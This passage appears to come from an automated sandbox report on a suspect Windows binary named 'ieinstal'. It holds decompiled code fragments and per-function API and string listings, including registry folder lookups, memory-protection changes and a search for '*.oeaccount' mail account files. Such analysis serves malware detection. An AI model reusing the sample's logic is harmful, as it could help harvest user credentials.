					} while (_t47 <  *((intOrPtr*)( *((intOrPtr*)(_t45 + 0x37c)) + 0x30)));
				}
				E00406A00();
				 *((intOrPtr*)( *((intOrPtr*)(_t45 + 0x370)) + 0x28)) = 0;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t45 + 0x370)))) + 0x5c))();
				if(E00407BBF( *((intOrPtr*)(_t45 + 0x37c)), ?str?) == 0xffffffff) {
					_t46 =  *((intOrPtr*)(_t45 + 0x370));
					if( *0x451558 == 0) {
						 *0x4514d8 =  *((intOrPtr*)(_t46 + 0x1ac));
						 *0x451558 = 1;
					}
					_t26 =  *((intOrPtr*)( *_t46 + 0x60))(E0040B31A);
					qsort( *((intOrPtr*)( *_t46 + 0x64))(), 0,  *(_t46 + 0x28), _t26);
				}
				return SetCursor( *0x4509f8);
			}











                                                                                                                            0x0040b786
                                                                                                                            0x0040b788
                                                                                                                            0x0040b790
                                                                                                                            0x0040b795
                                                                                                                            0x0040b797
                                                                                                                            0x0040b799
                                                                                                                            0x0040b7a4
                                                                                                                            0x0040b7ad
                                                                                                                            0x0040b7b5
                                                                                                                            0x0040b7bd
                                                                                                                            0x0040b7bf
                                                                                                                            0x0040b7c2
                                                                                                                            0x0040b7c8
                                                                                                                            0x0040b7cf
                                                                                                                            0x0040b7ca
                                                                                                                            0x0040b7ca
                                                                                                                            0x0040b7cc
                                                                                                                            0x0040b7cc
                                                                                                                            0x0040b7d0
                                                                                                                            0x0040b7d1
                                                                                                                            0x0040b7d1
                                                                                                                            0x0040b7d6
                                                                                                                            0x0040b7dc
                                                                                                                            0x0040b7dd
                                                                                                                            0x0040b797
                                                                                                                            0x0040b7e2
                                                                                                                            0x0040b7ed
                                                                                                                            0x0040b7f8
                                                                                                                            0x0040b80e
                                                                                                                            0x0040b816
                                                                                                                            0x0040b81c
                                                                                                                            0x0040b824
                                                                                                                            0x0040b829
                                                                                                                            0x0040b829
                                                                                                                            0x0040b83f
                                                                                                                            0x0040b84d
                                                                                                                            0x0040b852
                                                                                                                            0x0040b864

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Cursor_mbsicmpqsort
                                                                                                                            • String ID: /nosort$/sort
                                                                                                                            • API String ID: 882979914-1578091866
                                                                                                                            • Opcode ID: 3fd05ea3d2e473999241c6e710ee6662cc18b56f225bb7025ede358bdfc82e44
                                                                                                                            • Instruction ID: 59731eef90b6f0024c6c95bb6f71fb6a55e53d5caa10bc7ba91746e522f0a21b
                                                                                                                            • Opcode Fuzzy Hash: 3fd05ea3d2e473999241c6e710ee6662cc18b56f225bb7025ede358bdfc82e44
                                                                                                                            • Instruction Fuzzy Hash: AF21C4B1704501EFD719AB75C880AA9F3A8FF88314F21013EF419A7292C738B8118B99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041072B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74registryCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0041067E: LoadLibraryA.KERNEL32(shell32.dll,0041073A,00000104), ref: 0041068C
                                                                                                                              • Part of subcall function 0041067E: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathA), ref: 004106A1
                                                                                                                            • memset.MSVCRT ref: 00410780
                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000104), ref: 004107E9
                                                                                                                            • _mbscpy.MSVCRT ref: 004107F7
                                                                                                                              • Part of subcall function 00406E4C: GetVersionExA.KERNEL32(00451168,0000001A,00410749,00000104), ref: 00406E66
                                                                                                                            Strings
                                                                                                                            • Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 0041079B, 004107AB
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AddressCloseLibraryLoadProcVersion_mbscpymemset
                                                                                                                            • String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
                                                                                                                            • API String ID: 889583718-2036018995
                                                                                                                            • Opcode ID: 24424f8fb7c37ab6dcf975350972c994308c6069d3110df9dc8122139225ba6f
                                                                                                                            • Instruction ID: 55274f9b0d4144c5a5f6b064647028c43f69cf0431b3c32ec78c32e38a1c383e
                                                                                                                            • Opcode Fuzzy Hash: 24424f8fb7c37ab6dcf975350972c994308c6069d3110df9dc8122139225ba6f
                                                                                                                            • Instruction Fuzzy Hash: 2811D071C00218FBEB24F6948C85EEF77AC9B15304F1400B7F95161192E6B99ED4CA99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004105DD Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • FindResourceA.KERNEL32(?,?,?), ref: 004105EA
                                                                                                                            • SizeofResource.KERNEL32(?,00000000), ref: 004105FB
                                                                                                                            • LoadResource.KERNEL32(?,00000000), ref: 0041060B
                                                                                                                            • LockResource.KERNEL32(00000000), ref: 00410616
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Resource$FindLoadLockSizeof
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3473537107-0
                                                                                                                            • Opcode ID: aa79f82f4ecfd8f7b628c1d7de4cc48f572b3be46360eaed4676304fbba1ef3c
                                                                                                                            • Instruction ID: 4a68303d5b5253afd20c9a06ef53f1b3f3171458fb19c91adc6236e38678b247
                                                                                                                            • Opcode Fuzzy Hash: aa79f82f4ecfd8f7b628c1d7de4cc48f572b3be46360eaed4676304fbba1ef3c
                                                                                                                            • Instruction Fuzzy Hash: 88019636600315AB8F155F65DC4599F7FAAFFD63917088036F909CA361D7B1C891C68C
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00410344 Relevance: 6.1, APIs: 4, Instructions: 52COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0041036C
                                                                                                                              • Part of subcall function 0040735C: sprintf.MSVCRT ref: 00407394
                                                                                                                              • Part of subcall function 0040735C: memcpy.MSVCRT ref: 004073A7
                                                                                                                            • WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 00410390
                                                                                                                            • memset.MSVCRT ref: 004103A7
                                                                                                                            • GetPrivateProfileStringA.KERNEL32(?,?,0044551F,?,00002000,?), ref: 004103C5
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: PrivateProfileStringmemset$Writememcpysprintf
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3143880245-0
                                                                                                                            • Opcode ID: 300669213aa10e30692949e2fcfbaed099003638c554249b47492bf17e1db58e
                                                                                                                            • Instruction ID: 9d0f41c8c3888dc292d70de46467aaf9ffb36b28435196f73ffda5293cd27e0f
                                                                                                                            • Opcode Fuzzy Hash: 300669213aa10e30692949e2fcfbaed099003638c554249b47492bf17e1db58e
                                                                                                                            • Instruction Fuzzy Hash: B501847280431DBFEF116F60EC89EDB7B79EF04314F1000A6FA08A2052D6759D64DB69
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00408AA5 Relevance: 5.0, APIs: 4, Instructions: 36COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??2@
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1033339047-0
                                                                                                                            • Opcode ID: c9d9b14cbc3cffdefcd651bca10b6be545bbad424ff6817e9a729584ede19952
                                                                                                                            • Instruction ID: 91b6e48186620c166d1d4af44a265f78501a0d7a4e3c1a8b362a1fb29a74aa2a
                                                                                                                            • Opcode Fuzzy Hash: c9d9b14cbc3cffdefcd651bca10b6be545bbad424ff6817e9a729584ede19952
                                                                                                                            • Instruction Fuzzy Hash: 17F0F9B5901300AFE7549B3CED0672676E4E75C356F04983FA30A8A2F2EB79C8448B08
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00406CCE Relevance: 4.5, APIs: 3, Instructions: 38COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@mallocmemcpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3831604043-0
                                                                                                                            • Opcode ID: 6dc2a86f1fe2ee347426ab0121a461cac49b5a84b0ae56981e7af52698dffbe8
                                                                                                                            • Instruction ID: 120c5a36fa875b11696935209168df4f9df621bec9a22d80de65970bbd8b26ad
                                                                                                                            • Opcode Fuzzy Hash: 6dc2a86f1fe2ee347426ab0121a461cac49b5a84b0ae56981e7af52698dffbe8
                                                                                                                            • Instruction Fuzzy Hash: 13F0E9727053225FD708EB75B94184B73DDAF84324712482FF505E7282D7389C60CB59
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00406E26 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00406D65: memset.MSVCRT ref: 00406D6F
                                                                                                                              • Part of subcall function 00406D65: _mbscpy.MSVCRT ref: 00406DAF
                                                                                                                            • CreateFontIndirectA.GDI32(?), ref: 00406E44
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CreateFontIndirect_mbscpymemset
                                                                                                                            • String ID: Arial
                                                                                                                            • API String ID: 3853255127-493054409
                                                                                                                            • Opcode ID: af81b5a79715ac1c537919aec0876ca352f4b846121989fe158db9d7d4b71e29
                                                                                                                            • Instruction ID: b68263c9f29210b4531b01fb65f498acbd183b68a5d206dac463ad1e531dcf8e
                                                                                                                            • Opcode Fuzzy Hash: af81b5a79715ac1c537919aec0876ca352f4b846121989fe158db9d7d4b71e29
                                                                                                                            • Instruction Fuzzy Hash: FFD0C974E4020C67DA10B7A0FC07F49776C5B01705F510421B901B10E2EAA4A15886D9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00444A0F Relevance: 3.1, APIs: 2, Instructions: 100COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ProtectVirtual
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 544645111-0
                                                                                                                            • Opcode ID: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
                                                                                                                            • Instruction ID: ba634a3ae7870b83a4a63a7f1e5f980291c684f9ee159ca978f4bf55c64cb7ac
                                                                                                                            • Opcode Fuzzy Hash: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
                                                                                                                            • Instruction Fuzzy Hash: 8C21F9521C82826FFB218BB44C017676FD9CBD3364B190A87E040EB243D5AC5856937E
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040CB90 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 74COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00401E60: memset.MSVCRT ref: 00401E82
                                                                                                                              • Part of subcall function 00401E60: strlen.MSVCRT ref: 00401E9B
                                                                                                                              • Part of subcall function 00401E60: strlen.MSVCRT ref: 00401EA9
                                                                                                                              • Part of subcall function 00401E60: strlen.MSVCRT ref: 00401EEF
                                                                                                                              • Part of subcall function 00401E60: strlen.MSVCRT ref: 00401EFD
                                                                                                                            • _strcmpi.MSVCRT ref: 0040CBE4
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: strlen$_strcmpimemset
                                                                                                                            • String ID: /stext
                                                                                                                            • API String ID: 520177685-3817206916
                                                                                                                            • Opcode ID: 1152ae9ba3ffa0329dd0f68586efa17a4cc19575da3326fd738d138d66e7bba5
                                                                                                                            • Instruction ID: cdbc65eb55c3596dd52c6b91df7f07afa5e13005eab10b9a6f004d04cd94ae5a
                                                                                                                            • Opcode Fuzzy Hash: 1152ae9ba3ffa0329dd0f68586efa17a4cc19575da3326fd738d138d66e7bba5
                                                                                                                            • Instruction Fuzzy Hash: CE216271618111DFD35CEB39D8C1A66B3A9FF04314B15427FF41AA7282C738EC118B89
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00444A4E Relevance: 3.1, APIs: 2, Instructions: 65COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ProtectVirtual
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 544645111-0
                                                                                                                            • Opcode ID: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
                                                                                                                            • Instruction ID: 64d8077581e7bfcf5b5a7686d9ec621b59dbeaea1ec513f5aad7139115001ce4
                                                                                                                            • Opcode Fuzzy Hash: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
                                                                                                                            • Instruction Fuzzy Hash: 2C012D015C564139FB20A6F50C02BBB5F8D8AD7364B181B4BF150F7293D99C8D16937E
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00444A6B Relevance: 3.1, APIs: 2, Instructions: 54memoryCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00444A5C,00444A45), ref: 00444A7E
                                                                                                                            • VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00444A5C,00444A45), ref: 00444A92
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ProtectVirtual
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 544645111-0
                                                                                                                            • Opcode ID: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
                                                                                                                            • Instruction ID: 9d415219164cce1615491981170e8b778fb578cfb811cd04a9329a68800e1f42
                                                                                                                            • Opcode Fuzzy Hash: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
                                                                                                                            • Instruction Fuzzy Hash: DCF0C2412C52817DFB2195F50C42BBB4FCC8AE7360B280B47B110EB283D49D8D1693BE
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040472F Relevance: 3.0, APIs: 2, Instructions: 24libraryloaderCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00404780: FreeLibrary.KERNELBASE(?,?,0040F171,?,00000000), ref: 00404795
                                                                                                                            • LoadLibraryA.KERNELBASE(?,0040F08A,?,00000000), ref: 00404737
                                                                                                                            • GetProcAddress.KERNEL32(00000000,?), ref: 0040474F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Library$AddressFreeLoadProc
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 145871493-0
                                                                                                                            • Opcode ID: 19cbb58c83f46949a6f81fbd15abd7b556fa9c3d80d4a4eb7eee3cb29104cd1a
                                                                                                                            • Instruction ID: 2550b76864eeaa7c500838184e9c491a546ed4ce74a868b02878dd57666eb7ef
                                                                                                                            • Opcode Fuzzy Hash: 19cbb58c83f46949a6f81fbd15abd7b556fa9c3d80d4a4eb7eee3cb29104cd1a
                                                                                                                            • Instruction Fuzzy Hash: A5F01BF4600B029FD760AF35E848B9B77E5AF86710F00453EF665E3182D778A545CB58
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004103E0 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetPrivateProfileIntA.KERNEL32(?,?,?,?), ref: 00410407
                                                                                                                              • Part of subcall function 004102F8: memset.MSVCRT ref: 00410316
                                                                                                                              • Part of subcall function 004102F8: _itoa.MSVCRT ref: 0041032D
                                                                                                                              • Part of subcall function 004102F8: WritePrivateProfileStringA.KERNEL32(?,?,00000000), ref: 0041033C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: PrivateProfile$StringWrite_itoamemset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 4165544737-0
                                                                                                                            • Opcode ID: 0dc81d5659c27ec3f684feb4a7343de4234ed54be118f3a80d7180ba5ee1fafc
                                                                                                                            • Instruction ID: a6fec7de448531cc7e5bdd8bb9ba05dfe42c6da5839e04c605b7484fd2ec2d67
                                                                                                                            • Opcode Fuzzy Hash: 0dc81d5659c27ec3f684feb4a7343de4234ed54be118f3a80d7180ba5ee1fafc
                                                                                                                            • Instruction Fuzzy Hash: 23E0BD3204060EBFCF125F80EC05AAA7BA6FF04354F24886AFD6804121D77299F0AB99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00404780 Relevance: 1.5, APIs: 1, Instructions: 11COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • FreeLibrary.KERNELBASE(?,?,0040F171,?,00000000), ref: 00404795
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FreeLibrary
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3664257935-0
                                                                                                                            • Opcode ID: 0080a8822f3c614f9ebefc2abddcc045fe481ba4110b5f37c1852287057a9d03
                                                                                                                            • Instruction ID: 32a23a6afe1256adb8d295dcdce629e4b632fcbc5e0d618fa027d99050396328
                                                                                                                            • Opcode Fuzzy Hash: 0080a8822f3c614f9ebefc2abddcc045fe481ba4110b5f37c1852287057a9d03
                                                                                                                            • Instruction Fuzzy Hash: D7D012714003118FDB609F14FD4CBA173E8AF41312F1504B8E994AB192C3749840CA58
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00406AB8 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • CreateFileA.KERNELBASE(00000000,40000000,00000001,00000000,00000002,00000000,00000000,0040ABFF,00000000), ref: 00406ACA
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CreateFile
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 823142352-0
                                                                                                                            • Opcode ID: 1ce9c131fa00a6cba9e51da9fc4262f8f7b5bc2fb1b2ae73e770c5136e6a3475
                                                                                                                            • Instruction ID: 174152b0962da7481451d0c07619c80c3ba7c59bd8607505f6d9dddbb6799519
                                                                                                                            • Opcode Fuzzy Hash: 1ce9c131fa00a6cba9e51da9fc4262f8f7b5bc2fb1b2ae73e770c5136e6a3475
                                                                                                                            • Instruction Fuzzy Hash: 08C012F06503007FFF204B10AC0AF37369DD780700F1044207E00E40E1C2A14C40C524
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00410166 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • FreeLibrary.KERNELBASE(?,00403C1D), ref: 00410172
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FreeLibrary
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3664257935-0
                                                                                                                            • Opcode ID: 2bb0b70da7ab9a9f1d06c574187436387b11b6424b20dab8934fc130d0c11713
                                                                                                                            • Instruction ID: 507e23945262d0460dd2b0da46a8ed0ea94319227dbecdfb5597338915b85de2
                                                                                                                            • Opcode Fuzzy Hash: 2bb0b70da7ab9a9f1d06c574187436387b11b6424b20dab8934fc130d0c11713
                                                                                                                            • Instruction Fuzzy Hash: 6EC04C35510B019BEB219B22D949753B7E4AB05316F40C81CA59695451D7BCE494CE18
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00410663 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • EnumResourceNamesA.KERNEL32(?,?,Function_000105DD,00000000), ref: 00410672
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: EnumNamesResource
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3334572018-0
                                                                                                                            • Opcode ID: 11eb8b3ad73b6762afc3db70ccaf6c8089b2cfe60785521265f3d13c2ac885fb
                                                                                                                            • Instruction ID: e40f58546d13f5b106010a29914381b046978f91ca1901c00a2019c551bf0e65
                                                                                                                            • Opcode Fuzzy Hash: 11eb8b3ad73b6762afc3db70ccaf6c8089b2cfe60785521265f3d13c2ac885fb
                                                                                                                            • Instruction Fuzzy Hash: A0C09B31554341A7C701DF108C09F1A7695BB55705F504C297151940A4C7514054DB15
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00407D1F Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • FindClose.KERNELBASE(?,00407C39,?,?,00000000,.8D,0044373A,*.oeaccount,.8D,?,00000104), ref: 00407D29
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CloseFind
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1863332320-0
                                                                                                                            • Opcode ID: fadcbaaacaeb9138fef9dc8452ad8ac79757f966f14a2d9034369e41b7735666
                                                                                                                            • Instruction ID: e21386352e8edd65572014a1fcaa83e24a75218a268847cd9e3b74dd15e40f0a
                                                                                                                            • Opcode Fuzzy Hash: fadcbaaacaeb9138fef9dc8452ad8ac79757f966f14a2d9034369e41b7735666
                                                                                                                            • Instruction Fuzzy Hash: 50C092349109018FD62C9F38DC5A52A77A0BF5A3343B40F6CA0F3D20F0E778A842CA08
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00410411 Relevance: 1.5, APIs: 1, Instructions: 7registryCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • RegOpenKeyExA.KERNELBASE(00401C4B,00401C4B,00000000,00020019,?,00401C4B,?,?,?), ref: 00410424
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Open
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 71445658-0
                                                                                                                            • Opcode ID: 21d2125e3753e601ca1b20deba59a5865270c48a78257e55b283f3ccc3de6cc0
                                                                                                                            • Instruction ID: 9e85f5290c785a84adc9a585aa79e4266a03e2402c05001ad2ac5d5d83fda341
                                                                                                                            • Opcode Fuzzy Hash: 21d2125e3753e601ca1b20deba59a5865270c48a78257e55b283f3ccc3de6cc0
                                                                                                                            • Instruction Fuzzy Hash: 40C09B39544301BFDE114F40FD05F09BB61BB84F05F504414B244240B182714414EB57
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00406D1F Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetFileAttributesA.KERNELBASE(?,00401EDD,?), ref: 00406D23
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AttributesFile
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3188754299-0
                                                                                                                            • Opcode ID: 2ea5a109eb267fb6083926362ae3c8176b926bbef034cd1da8757df3be379db2
                                                                                                                            • Instruction ID: 1a596b20ff26773e60743876e99a20c5f0c5c53ebb8dbfb842e64d2fd6ed3a7e
                                                                                                                            • Opcode Fuzzy Hash: 2ea5a109eb267fb6083926362ae3c8176b926bbef034cd1da8757df3be379db2
                                                                                                                            • Instruction Fuzzy Hash: 76B012792108005FCF1807349C4904D35506F45631760073CF033C00F0D720CC60BA00
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Non-executed Functions

